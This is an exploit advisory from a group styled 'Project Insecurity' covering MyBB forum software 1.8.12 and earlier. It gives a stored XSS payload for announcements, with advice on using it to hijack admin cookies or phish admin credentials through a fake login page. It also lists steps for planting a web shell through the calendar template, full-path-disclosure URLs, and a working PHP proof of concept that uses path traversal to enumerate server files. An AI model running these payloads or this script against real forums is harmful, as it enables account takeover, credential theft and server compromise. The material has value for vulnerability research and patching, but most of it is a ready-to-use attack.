______  ______   _____     ___   _____   _____   _____              
           | ___ \ | ___ \ |  _  |   |_  | |  ___| /  __ \ |_   _|             
           | |_/ / | |_/ / | | | |     | | | |__   | /  \/   | |               
           |  __/  |    /  | | | |     | | |  __|  | |       | |               
           | |     | |\ \  \ \_/ / /\__/ / | |___  | \__/\   | |               
           \_|     \_| \_|  \___/  \____/  \____/   \____/   \_/               
                                                                               
                                                                               
 _____   _   _   _____   _____   _____   _   _  ______   _____   _____  __   __
|_   _| | \ | | /  ___| |  ___| /  __ \ | | | | | ___ \ |_   _| |_   _| \ \ / /
  | |   |  \| | \ `--.  | |__   | /  \/ | | | | | |_/ /   | |     | |    \ V / 
  | |   | . ` |  `--. \ |  __|  | |     | | | | |    /    | |     | |     \ /  
 _| |_  | |\  | /\__/ / | |___  | \__/\ | |_| | | |\ \   _| |_    | |     | |  
 \___/  \_| \_/ \____/  \____/   \____/  \___/  \_| \_|  \___/    \_/     \_/  
                                                                               

     [+]---------------------------------------------------------[+]
      | Vulnerable Software:      MyBB Forum Software             |
      | Vendor:                   https://mybb.com/               |
      | Vulnerability Type:       File Enumeration, XSS, FPD      |
      | Date Released:            2017                            |
      | Released by:              5tarboy (@insecurity)           |
     [+]---------------------------------------------------------[+]

MyBB (versions 1.8.12 and prior at time of writing this) is vulnerable to a cross site scripting bug which would
allow a moderator to take over an administrator's account. In addition to this, it is also possible to perform file
enumeration in the instances where it is not possible to spawn a shell. This can be used in conjunction with 
the FPD and other bugs in order to evelate the level of access and map out a potential attack surface.

-------------------------------------------------------------------------------------------------------------
Cross-Site Scripting:
-------------------------------------------------------------------------------------------------------------
A moderator or administrator can make an announcement, and can inject JavaScript into this.
MyBB however says:
> Should HTML be parsed in the announcement? (Javascript is removed)
> Source: https://docs.mybb.com/1.6/Mod-CP-Forums-Posts/#Adding.2FEditing_an_Announcement

<script> tags are stripped from the content but you can simply use generic HTML tags with event
handlers in order to trigger javascript, for example:
  <svg/onload="document.write('hi');">
When a user views the thread, the javascript will execute.
Since a moderator can post these threads, they can craft a payload that would allow them to hijack
the cookies for an admin account or create a fake login page via document.write which would hopefully
trick an admin into re-authenticating (giving up their credentials) when attempting to view the thread. 

This is a stored/persistent attack and anyone who views the thread will be hit with the payload.

Once you have gained an admin account, it is generally pretty trivial to get shell access.
There is a method that has worked for years and will work in most cases:

 - From AdminCP, Navigate to 'Templates and Styles'
 - Determine the MyBB Theme currently in use
 - Navigate to 'Templates'
 - Open Templates used by the current theme
 - Select 'calendar templates' 
 - Click 'calendar' then paste code to your shell and save
 - Navigate to http://[HOST]/calendar.php to access your shell

In the instance that you can't get a shell, then File Enumeration can still be performed as seen below:

-------------------------------------------------------------------------------------------------------------
Full Path Disclosure:
-------------------------------------------------------------------------------------------------------------
Almost all the parameters are vulnerable to this, but this is an example of one:
  http://[HOST]/mybb/admin/index.php?module[]

In older versions of MyBB, It's possible to get FPD (and also some PHP configuration info outputted) without
requiring ACP access, this can be done via insertion of an array into the 'sid' get parameter.
Example:

http://[HOST]/search.php?action=results&sid[]=YourSessionID&sortby=&order=desc

-------------------------------------------------------------------------------------------------------------
File Enumeration:
-------------------------------------------------------------------------------------------------------------
File enumeration can be performed, allowing an attacker to search for the existence of vulnerable plugins, locate
paths to config files, etc.

We'll enumerate files by changing the theme file to a file we want. If the file exists, it will not give an error.
If the file does not exists, it'll throw an error.

A working Proof-of-Concept (written in PHP) is given here:
-------------------------------------------------------------------------------------------------------------
<?php
  //////////////////////////////////////////////////////// PROJECT  INSECURITY ////////////////////////////////////////////////////////
  # Your cookies
  $cookies = "acploginattempts=; adminsid=; mybbuser=; collapsed=; mybb[lastvisit]=; mybb[lastactive]=; loginattempts=; _ga=; sid=";

  # Your 'postkey'
  $post_key = "";

  # Target URL
  $url = "http://localhost/mybb/";

  # The file to enumerate
  $file = "index.php";

  # How many paths you wanna go back
  $amount = 10;

  # Proxy information
  $enable_proxy = 0;
  $proxy_info   = "127.0.0.1:9150";

  //////////////////////////////////////////////////////// PROJECT  INSECURITY ////////////////////////////////////////////////////////

  function post( $url, $post_key, $cookies, $file, $proxy_info, $proxy )
  {
    $post_data = http_build_query( array(
      "my_post_key"     => "{$post_key}",
      "tid"             => "5",
      "name"            => "insecurity",
      "pid"             => "1",
      "templateset"     => "1",
      "editortheme"     => "{$file}"
    ));

    $headers = array( "Cookie: {$cookies}" );

      $cURL = curl_init( "{$url}/admin/index.php?module=style-themes&action=edit" );

      curl_setopt( $cURL, CURLOPT_POST, true );
      curl_setopt( $cURL, CURLOPT_HTTPHEADER, $headers );
      curl_setopt( $cURL, CURLOPT_POSTFIELDS, $post_data );
      curl_setopt( $cURL, CURLOPT_RETURNTRANSFER, true );

      if( $proxy == 1 )
      {
        # Edit this if you wanna use your own proxy
        curl_setopt( $cURL, CURLOPT_PROXY, $proxy_info );
      }

      $response = curl_exec( $cURL );
      curl_close( $cURL );

      return $response;
  }

  for ( $i = 0; $i < $amount; $i++ )
  {
    $path = str_repeat("../", $i);

    $result = post( $url, $post_key, $cookies, ( $path . $file ), $proxy_info, $enable_proxy );

    if( !preg_match( '/<div class=\"error\">(.*?)<\/div>/s', $result ) )
    {
      $found = true;
      break;
    }
  }

  if ( isset( $found ) )
    print "<b>{$file}</b> does exist.";
  else
    print "<b>{$file}</b> does not exist.";

?>
-------------------------------------------------------------------------------------------------------------

     [+]---------------------------------------------------------[+]
      |                      CONTACT US:                          |
      |                                                           |
      | IRC:          irc.insecurity.zone (6667/6697) #insecurity |
      | Twitter:      @insecurity                                 |
      | Website:      insecurity.zone                             |
     [+]---------------------------------------------------------[+]